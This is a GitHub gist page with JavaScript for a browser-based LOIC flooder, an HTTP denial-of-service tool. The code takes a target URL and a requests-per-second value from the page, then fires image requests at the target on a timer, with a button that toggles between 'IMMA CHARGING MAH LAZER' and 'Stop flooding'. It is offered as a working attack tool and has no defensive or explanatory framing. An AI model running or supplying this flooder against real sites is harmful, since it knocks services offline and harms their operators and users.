Created
October 15, 2012 00:38
-
-
Save rodrigo-x/3890295 to your computer and use it in GitHub Desktop.
snippet - loic..
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var LOIC = LOIC || {}; | |
LOIC.Class = (function () { | |
// Global Variables | |
var fireInterval; | |
var isFiring = false; | |
var requestedCtrNode = document.getElementById("requestedCtr"); | |
var succeededCtrNode = document.getElementById("succeededCtr"); | |
var failedCtrNode = document.getElementById("failedCtr"); | |
var targetURLNode = document.getElementById("targetURL"); | |
var fireButton = document.getElementById("fireButton"); | |
var messageNode = document.getElementById("message"); | |
var rpsNode = document.getElementById("rps"); | |
var timeoutNode = document.getElementById("timeout"); | |
var targetURL = targetURLNode.value; | |
targetURLNode.onchange = (function () { | |
targetURL = this.value; | |
}); | |
var requestsHT = {}; // requests hash table, may come in handy later | |
var requestedCtr = 0, | |
succeededCtr = 0, | |
failedCtr = 0; | |
var makeHttpRequest = (function () { | |
if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests | |
return; | |
}; | |
var rID = Number(new Date()); | |
var img = new Image(); | |
img.onerror = function () { | |
onFail(rID); | |
}; | |
img.onabort = function () { | |
onFail(rID); | |
}; | |
img.onload = function () { | |
onSuccess(rID); | |
}; // TODO: it may never happen if target URL is not an image...// but probably can be fixed with different methods | |
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value); | |
requestsHT[rID] = img; | |
onRequest(rID); | |
}); | |
var onRequest = (function (rID) { | |
requestedCtr++; | |
requestedCtrNode.innerHTML = requestedCtr; | |
}); | |
var onComplete = (function (rID) { | |
delete requestsHT[rID]; | |
}); | |
var onFail = (function (rID) { | |
// failedCtr++; | |
//failedCtrNode.innerHTML = failedCtr; | |
succeededCtr++; //Seems like the url will always fail it it isn't an image | |
succeededCtrNode.innerHTML = succeededCtr; | |
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser | |
}); | |
var onSuccess = (function (rID) { | |
succeededCtr++; | |
succeededCtrNode.innerHTML = succeededCtr; | |
delete requestsHT[rID]; | |
}); | |
fireButton.onclick = (function () { | |
if (isFiring) { | |
clearInterval(fireInterval); | |
isFiring = false; | |
this.innerHTML = "IMMA CHARGING MAH LAZER"; | |
} | |
else { | |
isFiring = true; | |
this.innerHTML = "Stop flooding"; | |
fireInterval = setInterval(makeHttpRequest, (2500 / parseInt(rpsNode.value) | 0)); | |
} | |
}); | |
}(LOIC.Class)); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment